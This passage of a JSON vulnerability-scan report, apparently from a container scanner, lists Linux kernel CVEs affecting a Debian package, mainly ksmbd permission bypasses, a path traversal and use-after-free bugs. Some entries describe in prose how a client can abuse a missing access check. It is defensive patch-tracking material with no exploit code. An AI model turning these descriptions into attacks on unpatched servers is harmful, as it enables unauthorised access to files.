"sha256:80fb236ef08e110b039b1b9ff4047c8edcd9ed68103ffdc5089429c238493670", "Title": "kernel: ksmbd: add a WRITE_DAC/WRITE_OWNER check to SMB2 SET_INFO SECURITY", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add a WRITE_DAC/WRITE_OWNER check to SMB2 SET_INFO SECURITY\n\ncommit cc57232cae23 (\"ksmbd: fix FSCTL permission bypass by adding a\npermission check for FSCTL_SET_SPARSE\") added a fp-\u003edaccess gate to\nfsctl_set_sparse and noted that \"similar handle-level checks exist in other\nfunctions but are missing here.\" The SMB2 SET_INFO SECURITY arm is one of\nthe missing ones, and the most security-relevant: smb2_set_info_sec() calls\nset_info_sec() with no per-handle access check.\n\nset_info_sec() (fs/smb/server/smbacl.c) re-permissions the file: it\nrewrites owner/group/mode via notify_change(), rewrites the POSIX ACL via\nset_posix_acl(), and on KSMBD_SHARE_FLAG_ACL_XATTR shares removes and\nrewrites the Windows security descriptor via ksmbd_vfs_set_sd_xattr().\nEvery other persistent-mutation arm of the sibling handler\nsmb2_set_info_file() checks fp-\u003edaccess first (FILE_WRITE_DATA /\nFILE_DELETE / FILE_WRITE_EA / FILE_WRITE_ATTRIBUTES); the SECURITY arm —\nwhich mutates the access control itself — is the only one with no gate.\n\nA client can therefore open a handle with FILE_WRITE_ATTRIBUTES only (no\nFILE_WRITE_DAC / FILE_WRITE_OWNER) and use SMB2_SET_INFO with InfoType\nSMB2_O_INFO_SECURITY to rewrite the file's DACL and owner, granting itself\naccess the handle's daccess never carried. Unlike the FSCTL data arms this\nis a metadata/xattr operation, so there is no FMODE_WRITE VFS backstop —\nthe missing fp-\u003edaccess check is the entire gate.\n\nSetting a security descriptor is the WRITE_DAC / WRITE_OWNER operation, so\nrequire at least one of those on the handle before re-permissioning the\nfile. -EACCES is mapped to STATUS_ACCESS_DENIED by smb2_set_info().", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64394", "https://git.kernel.org/linus/44df157a1183a7f746caa970c169255da5ac61f8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0848b1d8b403f530878195dcbe241a2fddb9d0e1", "https://git.kernel.org/stable/c/44df157a1183a7f746caa970c169255da5ac61f8", "https://git.kernel.org/stable/c/9ab2ffd3ed3d4ca1667c52de27026ddabc11e537", "https://git.kernel.org/stable/c/aae600cdaffc6d9ce97645f129799a103a97d06d", "https://git.kernel.org/stable/c/e6aa731f1b4b3e08caebf66a99f04b22bdab2e99", "https://git.kernel.org/stable/c/f56535db508ead8dec1c481ad93d7d8acd8f8f1e", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64394-9294@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64394", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64394" ], "PublishedDate": "2026-07-25T10:17:22.79Z", "LastModifiedDate": "2026-09-04T15:31:40.967Z" }, { "VulnerabilityID": "CVE-2026-64395", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64395", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5019a799308a4353fac4a860360940fee123e9691e3f4ff58cab41e3b47f89ea", "Title": "kernel: ksmbd: require source read access for duplicate extents", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: require source read access for duplicate extents\n\nFSCTL_DUPLICATE_EXTENTS_TO_FILE passes the source file directly to\nvfs_clone_file_range() or vfs_copy_file_range() without checking the SMB\naccess mask granted to the source handle. A handle opened with attribute\naccess can consequently be used to copy file contents into an\nattacker-readable destination.\n\nRequire FILE_READ_DATA on the source handle before either VFS operation,\nmatching other ksmbd data-copy paths.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64395", "https://git.kernel.org/linus/cedff600f1642aa982178503552f0d007bc829c8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2d2ab6983620c2d60ce7db72133984ca3873b929", "https://git.kernel.org/stable/c/67bdad9cf01b25030e3bf00bbce6c309319d6663", "https://git.kernel.org/stable/c/a10942af27832c2761d020863a46e79bebe0567d", "https://git.kernel.org/stable/c/b0d4d5cb846a1ddb7aaab9adfb5986e4540e6e5f", "https://git.kernel.org/stable/c/cedff600f1642aa982178503552f0d007bc829c8", "https://git.kernel.org/stable/c/db231af842868268839f9f9619c68cb27830d8be", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64395-26a3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64395", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64395" ], "PublishedDate": "2026-07-25T10:17:22.923Z", "LastModifiedDate": "2026-09-04T14:47:48.093Z" }, { "VulnerabilityID": "CVE-2026-64396", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64396", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8fa2404a0a178d444d4443d5108342763e2d635670d4df0e16922a6462c01fa5", "Title": "kernel: ksmbd: Use-after-free vulnerability allows arbitrary code execution or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix UAF of struct file_lock in SMB2_LOCK deferred-lock cancellation\n\nWhen a blocking byte-range lock request is deferred in the\nFILE_LOCK_DEFERRED path, ksmbd registers the asynchronous work into\nthe connection's async_requests list via setup_async_work(). The cancel\ncallback smb2_remove_blocked_lock() holds a reference to the flock.\n\nIf the lock waiter is subsequently woken up but the work state is no\nlonger KSMBD_WORK_ACTIVE (e.g., due to a concurrent cancellation), the\ncleanup path calls locks_free_lock(flock) without dequeuing the work from\nthe async_requests list. Concurrently, smb2_cancel() walks the list\nunder conn-\u003erequest_lock and invokes the cancel callback, which then\ndereferences the already freed 'flock'. This leads to a slab-use-after-free\ninside __wake_up_common.\n\nFix this by restructuring the cleanup logic after the worker returns\nfrom ksmbd_vfs_posix_lock_wait(). Move list_del(\u0026smb_lock-\u003ellist) and\nrelease_async_work(work) to the top of the cleanup block. This guarantees\nthat the async work is completely dequeued and serialized under\nconn-\u003erequest_lock before locks_free_lock(flock) is called, rendering\nthe flock unreachable for any concurrent smb2_cancel().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64396", "https://git.kernel.org/linus/d20d1c8ba5765d1d12eefc0aee6385ab3f240e1e%20%287.2-rc1%29", "https://git.kernel.org/stable/c/367c42a611fe488b7b03f1f6737f4dee0e8b20a2", "https://git.kernel.org/stable/c/463bbd79698513af4dad50fe1c573825f297ca2e", "https://git.kernel.org/stable/c/5aa1cb01155f96824003baf7997cdf1f150caba3", "https://git.kernel.org/stable/c/5c75275c0fc9a2deb0d8f5604edcb16f288171c8", "https://git.kernel.org/stable/c/7703fd9aba1f2483c8e55f9ff73b7663e0761ed9", "https://git.kernel.org/stable/c/d20d1c8ba5765d1d12eefc0aee6385ab3f240e1e", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64396-7ca2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64396", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64396" ], "PublishedDate": "2026-07-25T10:17:23.04Z", "LastModifiedDate": "2026-09-04T14:47:23.99Z" }, { "VulnerabilityID": "CVE-2026-64398", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b894df34155b6f6d87d53e4713d828c2a1d062c4d0380377c93cce7d7f6beb84", "Title": "kernel: ksmbd: add a permission check for FSCTL_SET_ZERO_DATA", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add a permission check for FSCTL_SET_ZERO_DATA\n\nFSCTL_SET_ZERO_DATA in smb2_ioctl() destroys file data via\nksmbd_vfs_zero_data() -\u003e vfs_fallocate(PUNCH_HOLE/ZERO_RANGE) after\nchecking only the share-level KSMBD_TREE_CONN_FLAG_WRITABLE, with no\nper-handle access check. A handle opened with only FILE_WRITE_ATTRIBUTES\nstill yields an FMODE_WRITE filp (FILE_WRITE_ATTRIBUTES is part of\nFILE_WRITE_DESIRE_ACCESS_LE, so smb2_create_open_flags() opens it\nO_WRONLY), so the vfs_fallocate FMODE_WRITE check does not stop it; only\nthe missing fp-\u003edaccess gate would. Reproduced on mainline 7.1-rc7 with\nKASAN by an authenticated SMB client: a FILE_WRITE_ATTRIBUTES-only handle\nzeroed 4096 bytes of file data it had no FILE_WRITE_DATA right to\n(6/6; a FILE_READ_DATA-only handle was correctly denied).\n\nThis is the unfixed sibling of commit cc57232cae23 (\"ksmbd: fix FSCTL\npermission bypass by adding a permission check for FSCTL_SET_SPARSE\").\nBecause SET_ZERO_DATA writes data (not an attribute), require\nFILE_WRITE_DATA.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64398", "https://git.kernel.org/linus/3320ba068198adc144c89d6661b805acce01735b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/25377f369688dd0bd814dc8965ed26d44238ecaa", "https://git.kernel.org/stable/c/3072d82461f498c85daea8766e9d8bfbada31605", "https://git.kernel.org/stable/c/3320ba068198adc144c89d6661b805acce01735b", "https://git.kernel.org/stable/c/57f2042fd87d7ce8fc3ac8b6c176e554df68b1a7", "https://git.kernel.org/stable/c/ca53bb17f4e8232cfaece3953d3cef62c559b039", "https://git.kernel.org/stable/c/deffa929086d7902e30918adf3dd27ccfe9c08b1", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64398-ff47@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64398", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64398" ], "PublishedDate": "2026-07-25T10:17:23.28Z", "LastModifiedDate": "2026-09-04T14:46:57.707Z" }, { "VulnerabilityID": "CVE-2026-64399", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49c8e1f99b76fbdc3aaaf4075a6edcbc38221b90b91e82c7fb1e9309454c2deb", "Title": "kernel: ksmbd: add permission checks for FSCTL_DUPLICATE_EXTENTS_TO_FILE", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add permission checks for FSCTL_DUPLICATE_EXTENTS_TO_FILE\n\nThe FSCTL_DUPLICATE_EXTENTS_TO_FILE arm of smb2_ioctl() overwrites the\ndestination file's data via vfs_clone_file_range() with neither the\nshare-level KSMBD_TREE_CONN_FLAG_WRITABLE check nor a per-handle\nfp-\u003edaccess check that the other write-bearing arms carry. A client can\noverwrite destination data on a read-only share, or from a handle opened\nwith only FILE_WRITE_ATTRIBUTES (which still yields an FMODE_WRITE filp).\nFILE_WRITE_ATTRIBUTES-only destination handle overwrote the file's data via\nthe clone. Add both checks, matching the FSCTL_SET_SPARSE permission fix;\nrequire FILE_WRITE_DATA since this writes data.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64399", "https://git.kernel.org/linus/388e4139db27a9e3612c9d356b826f5b1ff6a9e3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/388e4139db27a9e3612c9d356b826f5b1ff6a9e3", "https://git.kernel.org/stable/c/620d133d469295ee7c017ca6aafac335f65c4a5a", "https://git.kernel.org/stable/c/9b9cf7e65cbeaae1b6636144bacee611cdd7a5d6", "https://git.kernel.org/stable/c/baae7b39673ec21073a25e3d14f8feaada01d5df", "https://git.kernel.org/stable/c/bf460ad5958d506492de4524a656439da3f99c51", "https://git.kernel.org/stable/c/c917e4522d251071dde9871b9142d8ea1186ebfe", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64399-4ae6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64399", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64399" ], "PublishedDate": "2026-07-25T10:17:23.397Z", "LastModifiedDate": "2026-09-04T14:46:44.06Z" }, { "VulnerabilityID": "CVE-2026-64400", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64400", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c6ebe10ec0c0b12a7f5883795c75112c87a9075b06b91850e2ac781a3e47dbdd", "Title": "kernel: ksmbd: prevent path traversal bypass by restricting caseless retry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: prevent path traversal bypass by restricting caseless retry\n\nksmbd_vfs_path_lookup() enforces LOOKUP_BENEATH to restrict path\nresolution within the share root. When a crafted path attempts to\nescape the share boundary using parent-directory components ('..'),\nvfs_path_parent_lookup() detects this and immediately fails,\nreturning -EXDEV.\n\nHowever, a bug exists in __ksmbd_vfs_kern_path() under caseless mode.\nThe function fails to intercept the -EXDEV error and erroneously\nfalls through to the caseless retry logic, which is intended only\nfor genuinely missing files. During this retry process, the path\nis reconstructed, leading to an unintended LOOKUP_BENEATH bypass\nthat allows write-capable users to create zero-length files or\ndirectories outside the exported share.\n\nFix this by ensuring that the execution only proceeds to the caseless\nlookup retry when the error is specifically -ENOENT. Any other errors,\nsuch as -EXDEV from a path traversal attempt, must be returned immediately.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64400", "https://git.kernel.org/linus/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95%20%287.2-rc1%29", "https://git.kernel.org/stable/c/21f050439db157f2afcc19885dec14549ca6ffc0", "https://git.kernel.org/stable/c/54bab9ba5a9f156ffa9324fcbe5a356fd0242f95", "https://git.kernel.org/stable/c/8c9a4f1327eb71efbf14842e7b8a6d965077eb67", "https://git.kernel.org/stable/c/a1c331d98313380c38f616c8b28b890ec8ef9c28", "https://git.kernel.org/stable/c/cfb5a56c218888f9d74165dff0c282cd0be97983", "https://git.kernel.org/stable/c/eec1dd2586c4016b7555a5d047db2b3756459fb2", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64400-d372@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64400", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-64400" ], "PublishedDate": "2026-07-25T10:17:23.51Z", "LastModifiedDate": "2026-10-30T13:19:36.18Z" }, { "VulnerabilityID": "CVE-2026-64424", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64424", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:74abbdf63655f87af57839d7492dbadfc9e7b1ff9b92bbf2abc27786b12c920f", "Title": "kernel: netpoll: fix a use-after-free on shutdown path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetpoll: fix a use-after-free on shutdown path\n\nThere is a use-after-free error on netpoll, which is clearly detected by\nKASAN.\n\n BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x3b/0x80\n Read of size 1 at addr ... by task kworker/9:1\n Workqueue: events queue_process\n Call Trace:\n skb_dequeue+0x1e/0xb0\n queue_process+0x2c/0x600\n process_scheduled_works+0x4b6/0x850\n worker_thread+0x414/0x5a0\n Allocated by task 242:\n __netpoll_setup+0x201/0x4a0\n netpoll_setup+0x249/0x550\n enabled_store+0x32f/0x380\n Freed by task 0:\n kfree+0x1b7/0x540\n rcu_core+0x3f8/0x7a0\n\nThe problem happens when there is a pending TX worker running in\nparallel with the cleanup path.\n\nThis is what happens on netpoll shutdown path:\n\n1) __netpoll_cleanup() is called\n2) set dev-\u003enpinfo to NULL\n3) call_rcu() with rcu_cleanup_netpoll_info()\n 3.1) rcu_cleanup_netpoll_info() tries to cancel all workers with\n cancel_delayed_work(), but doesn't wait for the worker to finish\n4) and kfree(npinfo);\n\nBecause 3.1) doesn't really cancel the work, as the comment says \"we\ncan't call cancel_delayed_work_sync here, as we are in softirq\", the TX\nworker can run after 4).\n\nTl;DR: queue_process() is not an RCU reader, it reaches npinfo through\nthe work item via container_of().\n\nUse disable_delayed_work_sync() to ensure the worker is completely\nstopped and prevent any future re-arming attempts. Once npinfo is set\nto NULL, senders will bail out and not queue new work. The disable flag\nensures any in-flight re-arming attempts also fail silently.\n\nIn the future, we can do the cleanup inline here without needing the\nnpinfo-\u003ercu rcu_head, but that is net-next material.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64424", "https://git.kernel.org/linus/45f1458a85017a023f138b22ac5c76abd477db42%20%287.2-rc2%29", "https://git.kernel.org/stable/c/45f1458a85017a023f138b22ac5c76abd477db42", "https://git.kernel.org/stable/c/5ed09a108d93a3b002cc79823d9455b50c4a8be7", "https://git.kernel.org/stable/c/95ecc5b58042f6b6743b589e6588f1cd7ba336aa", "https://git.kernel.org/stable/c/a33f37f8d079da7236ed7b7e2aed2a34ab81e7cf", "https://git.kernel.org/stable/c/b67625b85c4b1a3725f4be9c6dd8ce3399d11732", "https://kernelcve.org/list/?q=CVE-2026-64424", "https://linux.oracle.com/cve/CVE-2026-64424.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072535-CVE-2026-64424-5caa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64424", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64424" ], "PublishedDate": "2026-07-25T10:17:26.483Z", "LastModifiedDate": "2026-11-06T17:18:53.683Z" }, { "VulnerabilityID": "CVE-2026-64434", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64434", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f5e7098d41fd9f6dae1804469db12004bc7e9c0437d784171e3a53c2d67a30a", "Title": "kernel: Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref\n\nl2cap_chan_timeout() runs asynchronously and accesses chan-\u003econn. If\nthe connection is torn down while the timer is running or pending,\nchan-\u003econn can be freed, leading to a use-after-free when the timer\nworker attempts to lock conn-\u003elock:\n\n| BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]\n| BUG: KASAN: slab-use-after-free in atomic_long_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:4456 [inline]\n| BUG: KASAN: slab-use-after-free in __mutex_trylock_fast kernel/locking/mutex.c:161 [inline]\n| BUG: KASAN: slab-use-after-free in mutex_lock+0x4f/0xa0 kernel/locking/mutex.c:318\n| Write of size 8 at addr ffff8881298d9550 by task kworker/2:1/83\n|\n| CPU: 2 UID: 0 PID: 83 Comm: kworker/2:1 Not tainted 7.1.0-rc6-next-20260601-dirty #6 PREEMPT(full)\n| Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014\n| Workqueue: events l2cap_chan_timeout\n| Call Trace:\n| \u003cTASK\u003e\n| instrument_atomic_read_write include/linux/instrumented.h:112 [inline]\n| atomic_long_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:4456 [inline]\n| __mutex_trylock_fast kernel/locking/mutex.c:161 [inline]\n| mutex_lock+0x4f/0xa0 kernel/locking/mutex.c:318\n| l2cap_chan_timeout+0x5d/0x1b0 net/bluetooth/l2cap_core.c:422\n| process_one_work kernel/workqueue.c:3326 [inline]\n| process_scheduled_works+0x7c8/0xfb0 kernel/workqueue.c:3409\n| worker_thread+0x8a9/0xcf0 kernel/workqueue.c:3490\n| kthread+0x346/0x430 kernel/kthread.c:436\n| ret_from_fork+0x1a3/0x470 arch/x86/kernel/process.c:158\n| ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n| \u003c/TASK\u003e\n|\n| Allocated by task 320:\n| l2cap_conn_add+0xa7/0x820 net/bluetooth/l2cap_core.c:7075\n| l2cap_connect_cfm+0xdb/0xd70 net/bluetooth/l2cap_core.c:7452\n| hci_connect_cfm include/net/bluetooth/hci_core.h:2139 [inline]\n| hci_remote_features_evt+0x52f/0x9f0 net/bluetooth/hci_event.c:3760\n| hci_event_func net/bluetooth/hci_event.c:7796 [inline]\n| hci_event_packet+0x561/0xa70 net/bluetooth/hci_event.c:7847\n| hci_rx_work+0x370/0x890 net/bluetooth/hci_core.c:4040\n| process_one_work kernel/workqueue.c:3326 [inline]\n| process_scheduled_works+0x7c8/0xfb0 kernel/workqueue.c:3409\n| 